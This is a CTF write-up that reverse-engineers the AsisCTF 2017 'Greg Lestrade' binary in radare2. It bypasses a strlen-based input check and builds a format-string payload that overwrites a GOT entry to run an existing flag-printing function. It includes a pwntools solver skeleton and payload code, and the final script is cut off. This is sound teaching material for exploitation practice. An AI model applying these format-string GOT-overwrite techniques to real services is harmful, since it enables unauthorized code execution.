2017-09-10

AsisCTF 2017: Greg Lestrade - Exploitation

This challenge from AsisCTF got me practicing my format-string exploit skills, and was succinctly enjoyable.

If you prefer to jump to the python solution, just click here.

This challenge starts off with the flavor text:

Greg Lestrade

Lestrade is often frustrated by Sherlock's cryptic deductions and habit of withholding evidence, but believes that he is a great man. He has been easily exploited when Sherlock remembered his name properly.

nc 146.185.132.36 12431

Whetting My Palate

Upon retrieving the file, I used the file utility to inspect it:

-> % file greg_lestrade_6ac517945a1e77aa4033ea9c5ee156ccbffbb77f 
greg_lestrade_6ac517945a1e77aa4033ea9c5ee156ccbffbb77f: XZ compressed data

-> % tar xvf greg_lestrade_6ac517945a1e77aa4033ea9c5ee156ccbffbb77f 
greg_lestrade

-> % file greg_lestrade
greg_lestrade: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, 
interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, 
BuildID[sha1]=0cb99c76fac442391ec59c78ce109d2b799fc456, stripped

The tar utility can decompress (and create) tar, xz, and several other compressed file-formats.

We see that it is a 64-bit binary. After chmod +x ./greg_lestrade to make it executable, running the binary reveals:

-> % ./greg_lestrade 
[*] Welcome admin login system! 

Login with your credential...
Credential : HERPDERP
[!] Sorry, wrong credential

I tried a few tricks on it to see what happens:

-> % ./greg_lestrade                              
[*] Welcome admin login system! 

Login with your credential...
Credential : %x%x%x
[!] Sorry, wrong credential

-> % python -c 'print("A"*64)' | ./greg_lestrade
[*] Welcome admin login system! 

Login with your credential...
Credential : [!] Sorry, wrong credential
*** stack smashing detected ***: ./greg_lestrade terminated
[1]    16987 done                              python -c 'print("A"*64)' | 
       16988 segmentation fault (core dumped)  ./greg_lestrade

until my curiosity is piqued. Time to bust out the big guns.

Dem Bigguns

Since I wanna know more about this binary, I run it through checksec:

-> % checksec --file ./greg_lestrade
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FILE
Partial RELRO   Canary found      NX enabled    No PIE          No RPATH   No RUNPATH   ./greg_lestrade

checksec is a great tool that can be found here. It can show you at a glance what kind of (standard) protections a binary has enabled.

I see immediately that STACK CANARY and NX are both set, which I'll have to keep in mind. My next step is to try to do some rudimentary static analysis to see if I can see what the program does.

My tool of choice for this (and other, similar matters) is radare2. I fire up radare2 with r2 ./greg_lestrade and begin my work:

[0x00400780]> aaa
[x] Analyze all flags starting with sym. and entry0 (aa)
[x] Analyze len bytes of instructions for references (aar)
[x] Analyze function calls (aac)
[x] Use -AA or aaaa to perform additional experimental analysis.
[x] Constructing a function name for fcn.* and sym.func.* functions (aan)
[0x00400780]> s main
[0x00400a2c]> pdf
/ (fcn) main 293
|   main ();
|           0x00400a2c      55             push rbp
|           0x00400a2d      4889e5         mov rbp, rsp
|           0x00400a30      4883ec60       sub rsp, 0x60               
|           0x00400a34      897dbc         mov dword [local_44h], edi
|           0x00400a37      488975b0       mov qword [local_50h], rsi
|           0x00400a3b      488955a8       mov qword [local_58h], rdx
|           0x00400a3f      64488b042528.  mov rax, qword fs:[0x28]    
|           0x00400a48      488945f8       mov qword [local_8h], rax
|           0x00400a4c      31c0           xor eax, eax
|           0x00400a4e      b800000000     mov eax, 0
|           0x00400a53      e834feffff     call sub.setvbuf_88c        
|           0x00400a58      48c745d00000.  mov qword [local_30h], 0
|           0x00400a60      48c745d80000.  mov qword [local_28h], 0
|           0x00400a68      48c745e00000.  mov qword [local_20h], 0
|           0x00400a70      48c745e80000.  mov qword [local_18h], 0
|           0x00400a78      c745cc000000.  mov dword [local_34h], 0
|           0x00400a7f      bf880c4000     mov edi, str.____Welcome_admin_login_system___n 
|           0x00400a84      e847fcffff     call sym.imp.puts           
|           0x00400a89      bfaa0c4000     mov edi, str.Login_with_your_credential... 
|           0x00400a8e      e83dfcffff     call sym.imp.puts           
|           0x00400a93      bfc80c4000     mov edi, str.Credential_:   
|           0x00400a98      b800000000     mov eax, 0
|           0x00400a9d      e86efcffff     call sym.imp.printf         
|           0x00400aa2      488d45d0       lea rax, qword [local_30h]
|           0x00400aa6      ba00020000     mov edx, 0x200              
|           0x00400aab      4889c6         mov rsi, rax
|           0x00400aae      bf00000000     mov edi, 0
|           0x00400ab3      e878fcffff     call sym.imp.read           
|           0x00400ab8      488d45d0       lea rax, qword [local_30h]
|           0x00400abc      4889c7         mov rdi, rax
|           0x00400abf      e815feffff     call sub.strlen_8d9         
|           0x00400ac4      85c0           test eax, eax
|       ,=< 0x00400ac6      7511           jne 0x400ad9
<SNIP>

We can see on the first highlighted line above where our main routine starts by recognizing the string references we saw when the program was originally run. After printing the prompts, the program then reads 0x200 bytes of data (2nd highlighted line) into a local frame buffer using sym.imp.read (3rd highlighted line).

Once the program has read in our data, the routine sub.strlen_8d9 is called, followed by a test-and-branch we can see on the last two lines above. This tells me that this function likely is validating our input. Let's see if that's true:

[0x00400abf]> pdf @ sub.strlen_8d9 
/ (fcn) sub.strlen_8d9 70
|   sub.strlen_8d9 ();
|           ; var int local_8h @ rbp-0x8
|           0x004008d9      55             push rbp
|           0x004008da      4889e5         mov rbp, rsp
|           0x004008dd      4883ec10       sub rsp, 0x10
|           0x004008e1      48897df8       mov qword [local_8h], rdi ;;Our input string
|           0x004008e5      488b05941720.  mov rax, qword str.7h15_15_v3ry_53cr37_1_7h1nk 
|           0x004008ec      4889c7         mov rdi, rax
|           0x004008ef      e8ecfdffff     call sym.imp.strlen       
|           0x004008f4      4889c2         mov rdx, rax     ;; size used for strncmp call below
|           0x004008f7      488b05821720.  mov rax, qword str.7h15_15_v3ry_53cr37_1_7h1nk 
|           0x004008fe      488b4df8       mov rcx, qword [local_8h]
|           0x00400902      4889ce         mov rsi, rcx     ;; pointer to our input string
|           0x00400905      4889c7         mov rdi, rax     ;; pointer to secret string above
|           0x00400908      e8b3fdffff     call sym.imp.strncmp ;; returns '0' if strings match       
|           0x0040090d      85c0           test eax, eax    ;; sets 0 flag if eax == 0
|       ,=< 0x0040090f      7507           jne 0x400918     ;; jne == jnz
|       |   0x00400911      b801000000     mov eax, 1       ;; returns 1 if strings match
|      ,==< 0x00400916      eb05           jmp 0x40091d
|      |`-> 0x00400918      b800000000     mov eax, 0       ;; returns 0 if strings don't
|      `--> 0x0040091d      c9             leave
\           0x0040091e      c3             ret
[0x00400abf]> ps @ str.7h15_15_v3ry_53cr37_1_7h1nk 
7h15_15_v3ry_53cr37_1_7h1nk

On the highlighted line above, the strncmp call invokes c's string-comparison function.
On x86-64 the ABI specifies that arguments are passed via the registers rdi, rsi, rdx, rcx, r8, r9, in that order.
On linux, man 3 strncmp will show us that the signature for strncmp is int strncmp(const char *s1, const char *s2, size_t n), meaning that this program is calling strncmp(secret, input, strlen(input))

Looking at this disassembly, it was easy to see that this function compared the input against a secret string. I used this string to see what happened next:

-> % ./greg_lestrade
[*] Welcome admin login system! 

Login with your credential...
Credential : 7h15_15_v3ry_53cr37_1_7h1nk
0) exit
1) admin action
1
[*] Hello, admin 
Give me your command : aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa%x
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa%x
[*] for secure commands, only lower cases are expected. Sorry admin
0) exit
1) admin action
1
[*] Hello, admin 
Give me your command : aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa%xaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa%xaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa%xaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa%xaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa%xaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa%xaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa%xaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa%xaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa%xaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa%x
[*] for secure commands, only lower cases are expected. Sorry admin
0) exit
1) admin action
0
Good bye, admin :)

As you can see, the "secret" pasphrase got us into the admin menu, but trying some cursory input left me curious what it was doing. Once again, I equipped a software lens through which to view this challenge. I threw together the beginnings of my solver script.

Pythonization

I often use python in conjunction with radare2 so that I can have both programmatic I/O through pwntools as well as the debugging/disassembling capabilities attached to the same process. I threw together this python script to achieve this:

#!/usr/bin/env python2
from pwn import *
from IPython import embed

DEBUG = True

if DEBUG:
    p = process("./greg_lestrade")
else:
    p = remote("146.185.132.36", 12431)

def main():
    secret1 = "7h15_15_v3ry_53cr37_1_7h1nk"

    if DEBUG:
        print("In debug mode, [enter] to continue...")
        raw_input()

    #read first 3 lines of output:
    for i in range(3):
        print(p.readline())

    #send our secret:
    p.sendline(secret1)

    #read the next 2 lines of output:
    for i in range(2):
        print(p.readline())

    #set us up for sending an admin command:
    p.sendline("1")

    #read command prompt:
    p.readline()

    #now drop us into ipython shell:
    embed(banner1="")
    p.close()

if __name__ == "__main__":
    main()

After running this with ./solver.py, I can interact with the challenge program from the ipython prompt:

-> % ./solver.py 
[+] Starting local process './greg_lestrade': pid 4294
In debug mode, [enter] to continue...

[*] Welcome admin login system! 

Login with your credential...

Credential : 0) exit

1) admin action

In [1]: 

At this point the program is waiting for me to enter my "admin command", and so I attach to the program with radare2 to inspect it's state:

-> % r2 -d $(pidof greg_lestrade)
PIDPATH: /home/tobaljackson/SIT/fall_2017/asisCTF_9-08-2017/pwn_Greg-Lestrade/writeup/greg_lestrade
= attach 4554 4554
bin.baddr 0x00400000
Using 0x400000
Assuming filepath /home/tobaljackson/SIT/fall_2017/asisCTF_9-08-2017/pwn_Greg-Lestrade/writeup/greg_lestrade
asm.bits 64
 -- EXPLICIT CONTENT
[0x7fde1ae0ab90]> s rip
[0x7fde1ae0ab90]> s main
[0x00400a2c]> aaa
[x] Analyze all flags starting with sym. and entry0 (aa)
TODO: esil-vm not initialized
[x] Analyze len bytes of instructions for references (aar)
[x] Analyze function calls (aac)
[x] Use -AA or aaaa to perform additional experimental analysis.
[x] Constructing a function name for fcn.* and sym.func.* functions (aan)
ptrace (PT_ATTACH): Operation not permitted
= attach 4554 4554
[0x00400a2c]> pdf
...
<SNIP>
...
|       |   0x00400ac8      bfd60c4000     mov edi, str.____Sorry__wrong_credential 
|       |   0x00400acd      e8fefbffff     call sym.imp.puts           
|       |   0x00400ad2      b800000000     mov eax, 0
|      ,==< 0x00400ad7      eb62           jmp 0x400b3b
|     .-`-> 0x00400ad9      bff20c4000     mov edi, str.0__exit     
|     ||    0x00400ade      e8edfbffff     call sym.imp.puts        ;; print first menu option   
|     ||    0x00400ae3      bffa0c4000     mov edi, str.1__admin_action 
|     ||    0x00400ae8      e8e3fbffff     call sym.imp.puts        ;; print second menu item   
|     ||    0x00400aed      488d45cc       lea rax, qword [local_34h]
|     ||    0x00400af1      4889c6         mov rsi, rax
|     ||    0x00400af4      bf0a0d4000     mov edi, 0x400d0a
|     ||    0x00400af9      b800000000     mov eax, 0
|     ||    0x00400afe      e85dfcffff     call sym.imp.__isoc99_scanf  ;;read our choice
|     ||    0x00400b03      8b45cc         mov eax, dword [local_34h]
|     ||    0x00400b06      85c0           test eax, eax
|     ||,=< 0x00400b08      7511           jne 0x400b1b             ;; if we did not choose "0", 
|     |||   0x00400b0a      bf0d0d4000     mov edi, str.Good_bye__admin_:_ 
|     |||   0x00400b0f      e8bcfbffff     call sym.imp.puts           
|     |||   0x00400b14      b800000000     mov eax, 0
|    ,====< 0x00400b19      eb20           jmp 0x400b3b
|    |||`-> 0x00400b1b      8b45cc         mov eax, dword [local_34h]
|    |||    0x00400b1e      83f801         cmp eax, 1                  
|    |||,=< 0x00400b21      740c           je 0x400b2f              ;; and we have chosen "1", 
|    ||||   0x00400b23      bf200d4000     mov edi, str.Wrong.         
|    ||||   0x00400b28      e8a3fbffff     call sym.imp.puts           
|   ,=====< 0x00400b2d      eb0a           jmp 0x400b39
|   ||||`-> 0x00400b2f      b800000000     mov eax, 0
|   ||||    0x00400b34      e8e6fdffff     call sub.puts_91f        ;; then call this function   
|   `-`===< 0x00400b39      eb9e           jmp 0x400ad9
|    `-`--> 0x00400b3b      488b4df8       mov rcx, qword [local_8h]
|           0x00400b3f      6448330c2528.  xor rcx, qword fs:[0x28]
|       ,=< 0x00400b48      7405           je 0x400b4f
|       |   0x00400b4a      e8a1fbffff     call sym.imp.__stack_chk_fail 
|       `-> 0x00400b4f      c9             leave
\           0x00400b50      c3             ret

Following the program path that I took (look at the arrows on the left and the comments I've added) it seems that the function sub.puts91f does the rest of the heavy lifting since main returns shortly thereafter.

I looked at what this function did:

[0x00400ade]> pdf @ sub.puts_91f 
/ (fcn) sub.puts_91f 269
|   sub.puts_91f ();
|           ; var int local_412h @ rbp-0x412
|           ; var int local_411h @ rbp-0x411
|           ; var int local_410h @ rbp-0x410
|           ; var int local_8h @ rbp-0x8
|           0x0040091f      55             push rbp
|           0x00400920      4889e5         mov rbp, rsp
|           0x00400923      4881ec200400.  sub rsp, 0x420                 ;; make an 0x420 size stack frame
|           0x0040092a      64488b042528.  mov rax, qword fs:[0x28]    
|           0x00400933      488945f8       mov qword [local_8h], rax
|           0x00400937      31c0           xor eax, eax
|           0x00400939      488d95f0fbff.  lea rdx, qword [local_410h]
|           0x00400940      b800000000     mov eax, 0
|           0x00400945      b980000000     mov ecx, 0x80               
|           0x0040094a      4889d7         mov rdi, rdx
|           0x0040094d      f348ab         rep stosq qword [rdi], rax
|           0x00400950      bf140c4000     mov edi, str.____Hello__admin 
|           0x00400955      e876fdffff     call sym.imp.puts              ;; print welcome message
|           0x0040095a      bf260c4000     mov edi, str.Give_me_your_command_: 
|           0x0040095f      b800000000     mov eax, 0
|           0x00400964      e8a7fdffff     call sym.imp.printf            ;; prompt for command...
|           0x00400969      488d85f0fbff.  lea rax, qword [local_410h]    
|           0x00400970      baff030000     mov edx, 0x3ff                 ;; read up to 0x3ff bytes
|           0x00400975      4889c6         mov rsi, rax                   ;; pointer to buffer
|           0x00400978      bf00000000     mov edi, 0                     ;; read from STDIN
|           0x0040097d      e8aefdffff     call sym.imp.read              ;; now read() up to 0x3ff bytes into rbp-0x410
|           0x00400982      488d85f0fbff.  lea rax, qword [local_410h]
|           0x00400989      4889c7         mov rdi, rax
|           0x0040098c      e84ffdffff     call sym.imp.strlen            ;; count number of bytes to first null...
|           0x00400991      83c001         add eax, 1                     ;; add 1 to this count
|           0x00400994      8885effbffff   mov byte [local_411h], al      ;; store byte on stack == count % 256
|           0x0040099a      c685eefbffff.  mov byte [local_412h], 0
|       ,=< 0x004009a1      eb4b           jmp 0x4009ee                   ;; unconditional jump
|       |      ; JMP XREF from 0x004009fb (sub.puts_91f)
|      .--> 0x004009a3      0fb685eefbff.  movzx eax, byte [local_412h]
|      ||   0x004009aa      4898           cdqe
|      ||   0x004009ac      0fb68405f0fb.  movzx eax, byte [rbp + rax - 0x410]
|      ||   0x004009b4      3c60           cmp al, 0x60                ; '`' 
|     ,===< 0x004009b6      7e15           jle 0x4009cd
|     |||   0x004009b8      0fb685eefbff.  movzx eax, byte [local_412h]
|     |||   0x004009bf      4898           cdqe
|     |||   0x004009c1      0fb68405f0fb.  movzx eax, byte [rbp + rax - 0x410]
|     |||   0x004009c9      3c7a           cmp al, 0x7a                ; 'z' 
|    ,====< 0x004009cb      7e11           jle 0x4009de
|    |`---> 0x004009cd      bf400c4000     mov edi, str.____for_secure_commands__only_lower_cases_are_expected._Sorry_admin 
|    | ||   0x004009d2      e8f9fcffff     call sym.imp.puts           
|    | ||   0x004009d7      b800000000     mov eax, 0
|    |,===< 0x004009dc      eb38           jmp 0x400a16
|    `----> 0x004009de      0fb685eefbff.  movzx eax, byte [local_412h]
|     |||   0x004009e5      83c001         add eax, 1
|     |||   0x004009e8      8885eefbffff   mov byte [local_412h], al
|     ||`-> 0x004009ee      0fb685eefbff.  movzx eax, byte [local_412h]  ;; eax = 0
|     ||    0x004009f5      3a85effbffff   cmp al, byte [local_411h]     ;; see if al == 0
|     |`==< 0x004009fb      72a6           jb 0x4009a3                   ;; if not, perform check above
|     |     0x004009fd      488d85f0fbff.  lea rax, qword [local_410h]   ;; else, 
|     |     0x00400a04      4889c7         mov rdi, rax
|     |     0x00400a07      b800000000     mov eax, 0
|     |     0x00400a0c      e8fffcffff     call sym.imp.printf           ;; just print the string we entered with printf()
|     |     0x00400a11      b800000000     mov eax, 0
|     `---> 0x00400a16      488b75f8       mov rsi, qword [local_8h]
|           0x00400a1a      644833342528.  xor rsi, qword fs:[0x28]
|       ,=< 0x00400a23      7405           je 0x400a2a
|       |   0x00400a25      e8c6fcffff     call sym.imp.__stack_chk_fail ; void __stack_chk_fail(void)
|       `-> 0x00400a2a      c9             leave
\           0x00400a2b      c3             ret

I've added some comments to the above output to help illustrate what this code is doing. On the first highlighted line above is where the program reads in our admin command. We can see from the value loaded into edx that read() will read up to 0x3ff bytes into the buffer at rbp-0x410 (pointer in rsi):

|           0x00400969      488d85f0fbff.  lea rax, qword [local_410h]    
|           0x00400970      baff030000     mov edx, 0x3ff                 ;; read up to 0x3ff bytes
|           0x00400975      4889c6         mov rsi, rax                   ;; pointer to buffer
|           0x00400978      bf00000000     mov edi, 0                     ;; read from STDIN
|           0x0040097d      e8aefdffff     call sym.imp.read              ;; now read() up to 0x3ff bytes into rbp-0x410

Interestingly, after the program reads in our data, it calls strlen() on this (instead of using read()'s return value) which will behave (potentially) unexpectedly; while read() can read NULL bytes (\x00), strlen() will stop counting at the first NULL byte encountered!

|           0x00400982      488d85f0fbff.  lea rax, qword [local_410h]
|           0x00400989      4889c7         mov rdi, rax               ;; pointer to our input string
|           0x0040098c      e84ffdffff     call sym.imp.strlen        ;; count number of bytes to first null...

After strlen() completes, 1 is added to this value, and the LSB of rax is saved. This is equivalent to count = (strlen(input) + 1) % 256, and can be seen taking place in the snipped reproduced here:

|           0x00400991      83c001         add eax, 1                     ;; add 1 to this count
|           0x00400994      8885effbffff   mov byte [local_411h], al      ;; store byte on stack == count % 256
|           0x0040099a      c685eefbffff.  mov byte [local_412h], 0
|       ,=< 0x004009a1      eb4b           jmp 0x4009ee                   ;; unconditional jump

After this, the program makes an unconditional jump, whereafter this value I've labeled count is checked (at 0x4009ee, the line highlighted in the snippet below).

|     ||`-> 0x004009ee      0fb685eefbff.  movzx eax, byte [local_412h]  ;; eax = 0
|     ||    0x004009f5      3a85effbffff   cmp al, byte [local_411h]     ;; see if al == 0
|     |`==< 0x004009fb      72a6           jb 0x4009a3                   ;; if not, perform check above

Here, the value is compared against 0, and if it is non-zero, the program jumps back to a check to see if the value falls between ` and z (0x60 and 0x7a). However, if this value is 0, then the program simply passes our string to printf()!

|     |     0x004009fd      488d85f0fbff.  lea rax, qword [local_410h]   ;; else, 
|     |     0x00400a04      4889c7         mov rdi, rax                  ;; pointer to our input string 
|     |     0x00400a07      b800000000     mov eax, 0                    
|     |     0x00400a0c      e8fffcffff     call sym.imp.printf           ;; just print the string we entered with printf()

This is our golden ticket, and the path to success. Since the string is passed to printf() unaltered, then the program will be vulnerable to format-string exploitation.

Hold on to your format-strings, it's time for an overhaul!

I verified that printf() is called on our input when the strlen() check (+1) results in LSB of 0 by performing the following procedure.

First, in python, I sent input to the program such that (len(input) + 1) % 256 == 0:

In [1]: p.sendline("A" * 250 + "%lx.")

While it may look like I've only supplied 254 bytes (250 + 4), pwntools' sendline method appends the newline character (\n) to the message, much like python's builtin print method.
This results in a length of 255, to which 1 will be added, resulting in the LSB of rax == 0x00.

Back in radare, first I set a breakpoint to the instruction after the read and then continue to it:

[0x00400a2c]> db 0x00400982
[0x00400a2c]> dc
[0x00400a2c]> pd 8 @ 0x0040097d
|           0x0040097d      e8aefdffff     call sym.imp.read           
|           ;-- rip:
|           0x00400982 b    488d85f0fbff.  lea rax, qword [local_410h]
|           0x00400989      4889c7         mov rdi, rax
|           0x0040098c      e84ffdffff     call sym.imp.strlen         
|           0x00400991      83c001         add eax, 1
|           0x00400994      8885effbffff   mov byte [local_411h], al
|           0x0040099a      c685eefbffff.  mov byte [local_412h], 0
|       ,=< 0x004009a1      eb4b           jmp 0x4009ee
[0x00400a2c]> db 0x0040099a

I follow this up by setting a breakpoint after al is saved to the stack.

Before continuing execution, I inspect the stack to see what I've sent to the program:

[0x00400982]> pxq 0x11f @ rsp
0x7ffcd53a5830  0x00007f059438e900  0x00007ffcd53a5a10   ..8......Z:.....
0x7ffcd53a5840  0x4141414141414141  0x4141414141414141   AAAAAAAAAAAAAAAA
0x7ffcd53a5850  0x4141414141414141  0x4141414141414141   AAAAAAAAAAAAAAAA
0x7ffcd53a5860  0x4141414141414141  0x4141414141414141   AAAAAAAAAAAAAAAA
0x7ffcd53a5870  0x4141414141414141  0x4141414141414141   AAAAAAAAAAAAAAAA
0x7ffcd53a5880  0x4141414141414141  0x4141414141414141   AAAAAAAAAAAAAAAA
0x7ffcd53a5890  0x4141414141414141  0x4141414141414141   AAAAAAAAAAAAAAAA
0x7ffcd53a58a0  0x4141414141414141  0x4141414141414141   AAAAAAAAAAAAAAAA
0x7ffcd53a58b0  0x4141414141414141  0x4141414141414141   AAAAAAAAAAAAAAAA
0x7ffcd53a58c0  0x4141414141414141  0x4141414141414141   AAAAAAAAAAAAAAAA
0x7ffcd53a58d0  0x4141414141414141  0x4141414141414141   AAAAAAAAAAAAAAAA
0x7ffcd53a58e0  0x4141414141414141  0x4141414141414141   AAAAAAAAAAAAAAAA
0x7ffcd53a58f0  0x4141414141414141  0x4141414141414141   AAAAAAAAAAAAAAAA
0x7ffcd53a5900  0x4141414141414141  0x4141414141414141   AAAAAAAAAAAAAAAA
0x7ffcd53a5910  0x4141414141414141  0x4141414141414141   AAAAAAAAAAAAAAAA
0x7ffcd53a5920  0x4141414141414141  0x4141414141414141   AAAAAAAAAAAAAAAA
0x7ffcd53a5930  0x4141414141414141  0x000a2e786c254141   AAAAAAAAAA%lx...
0x7ffcd53a5940  0x0000000000000000                       ........

As well as the current state of the al register:

[0x00400a2c]> dr al
0x000000ff 

Continuing execution will allow me to see if I input exactly 255 bytes:

[0x00400a2c]> dc
hit breakpoint at: 40099a
[0x00400a2c]> dr al
0x00000000

Success! I now set a breakpoint on the branch instruction for illustrative purposes:

[0x00400a2c]> db 0x004009fb
[0x00400a2c]> dc
hit breakpoint at: 4009fb
[0x00400a2c]> s rip
[0x004009fb]> pd 1
|       `=< ;-- rip:
|       `=< 0x004009fb b    72a6           jb 0x4009a3

And we can see that the instruction pointer is indeed here, after the comparison has already taken place. If a branch occurs, then rip will be set to 0x4009a3, otherwise it will continue to 0x4009fb:

[0x004009fb]> ds
[0x004009fb]> s rip
[0x004009fd]> pd 4
|           ;-- rip:
|           0x004009fd      488d85f0fbff.  lea rax, qword [local_410h]
|           0x00400a04      4889c7         mov rdi, rax
|           0x00400a07      b800000000     mov eax, 0
|           0x00400a0c      e8fffcffff     call sym.imp.printf   

Perfection! We've satisfied the condition required for the program to reach the printf() call (skipping the character range check), and all that's left is to see our memory leakage occur:

[0x004009fd]> 4dso
hit breakpoint at: 400a11

At this point, the program will have sent its output to our python shell, so we switch back to it and see:

In [2]: p.readline()
Out[2]: 'Give me your command : AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA0.\n'

While it may not seem apparent, the 0 character at the end of this output represents format string injection, which we will utilize to own this program.

At this point I began the trek through the printf() garden.

Zen and the art of printf() exploitation

At this point I started to come up with a plan on how I was going to exploit this program. I was thinkning of GOT and ROP among other things, exploring the binary until I came across the following:

[0x00400876]> pd 8 @ 0x00400876
            0x00400876      55             push rbp
            0x00400877      4889e5         mov rbp, rsp
            0x0040087a      bf040c4000     mov edi, str._bin_cat_._flag ; 0x400c04 ; "/bin/cat ./flag"
            0x0040087f      b800000000     mov eax, 0
            0x00400884      e877feffff     call sym.imp.system         ; int system(const char *string)
            0x00400889      90             nop
            0x0040088a      5d             pop rbp
            0x0040088b      c3             ret

There's shellcode to cat the flag already there! Upon seeing this, I realized that this was surely intentional, and realized the difficulty of this challenge was immediately reduced significantly. All that was required at this point was to obtain control over rip, pointing it at 0x00400876 to win.

My first thought was a simple buffer overflow to overwrite the return address of main with the goal one, however both the presence of a stack canary as well as (likely) ASLR on the remote side pushed me away from this solution.

Inspecting the memory map showed that the Global Offset Table was writable:

[0x00400b21]> iS~got
idx=13 vaddr=0x00400770 paddr=0x00000770 sz=8 vsz=8 perm=--r-x name=.plt.got
idx=23 vaddr=0x00601ff8 paddr=0x00001ff8 sz=8 vsz=8 perm=--rw- name=.got
idx=24 vaddr=0x00602000 paddr=0x00002000 sz=112 vsz=112 perm=--rw- name=.got.plt

The perm=--rw- part of the highlighted line means read/write on that memory section.

I printed this memory address so I could see which slots were reserved for which imported functions:

[0x00602000]> pxa
- offset -   0 1  2 3  4 5  6 7  8 9  A B  C D  E F  0123456789ABCDEF
             /map._home_tobaljackson_SIT_fall_2017_asisCTF_9_08_201..
0x00602000  281e 6000 0000 0000 0051 a8df 957f 0000  (.`......Q...... 
                                 /reloc.strncmp_24                  
0x00602010  404f 87df 957f 0000 c606 4000 0000 0000  @O........@.....
             /reloc.puts_32      /reloc.strlen_40                   
0x00602020  1072 51df 957f 0000 e606 4000 0000 0000  .rQ.......@.....
             /reloc.__stack_chk_f/reloc.system_56                   
0x00602030  f606 4000 0000 0000 0607 4000 0000 0000  ..@.......@.....
             /reloc.printf_64    /reloc.alarm_72                    
0x00602040  00da 4fdf 957f 0000 2607 4000 0000 0000  ..O.....&.@.....
             /reloc.read_80      /reloc.__libc_start_main_88        
0x00602050  90f7 58df 957f 0000 808e 4cdf 957f 0000  ..X.......L.....
             /reloc.setvbuf_96   /reloc.__isoc99_scanf_104          
0x00602060  f079 51df 957f 0000 6607 4000 0000 0000  .yQ.....f.@.....

pxa shows an annotated hexdump

Here I have basically a menu advertising which dishes I might order up to sate my appetite. As I perused the selection, I recalled that the program repeatedly promted me for input using read. I selected read to be my tasty treat (0x602040) for the exploit.

All I have to do is write the address of our winning function (0x00400876) over the imported read address in the GOT (0x00602040) to cause the program to execute it.

Stringification

At this point, I used some trial and error to construct a format string which will overwrite that in the GOT with what I needed:

    #first clear out the lower half of GOT entry:
    writeStr0 = "%72$n"

    #now we write 2nd half of desired word, 0x0040:
    writeStr1 = "%65123lx.%72$hn"
    writeAddr1 = p64(0x602042)

    #now we write first half of desired word, 0x0876
    writeStr2 = "%2101lx.%73$hn"
    writeAddr2 = p64(0x602040)

    #now we construct our payload of the ages:
    payload = 'a' * (0x1fe - len(writeStr0 + writeStr1 + writeStr2)) + writeStr0 + writeStr1 + \
        writeStr2 + '\x0a\x00' + writeAddr1 + writeAddr2

The last line (highlighted) above is where the format string itself is actually put together from its constituent components.
% begins a format specifier.
%<number><format> causes printf to space-pad its output (e.g. %1337x will print 1337 spaces followed by a hexadecimal representation of the word [4 bytes]).
%lx prints a qword instead of dword (8 bytes instead of 4).
%<number>$<format> causes printf to reference the <number>th argument as input to the format specifier.
%n format specifier will write the number of bytes written by printf so far to the address specified as an int (4 bytes).
%hn does the same as above, but as a halfword (2 bytes).

Notice that I use a filler of length (0x1fe - len(writeStr0 + writeStr1 + writeStr2)). Since this is followed by \x0a\x00 this will ensure the first requirement for short-circuiting the code to bring us right to printf. Additionally, since read is the method being used, NULL bytes are allowed to be read, allowing me to continue supplying data.

The only other things I write are the two memory addresses 0x602042 and 0x602040.

These two addresses I've written to the stack allow me to reference the GOT in the format string using the position specifiers %72$ and %73$. I specify these two addresses so that I can write the the GOT without having to receive a large amount of data produce with the width specifiers (%65123 and %2101).

If the above seems confusing, take a look at an in-depth guide to format string exploitation like this one.

With the addition of the python code above, my script became complete, allowing me to exploit locally. I retargeted the script to the remote server, let it rip, and was able to retrieve the flag!

The Solution

Here is the final solver script which I cleaned up and marked up a bit to show the different parts working:

 1
 2
 3
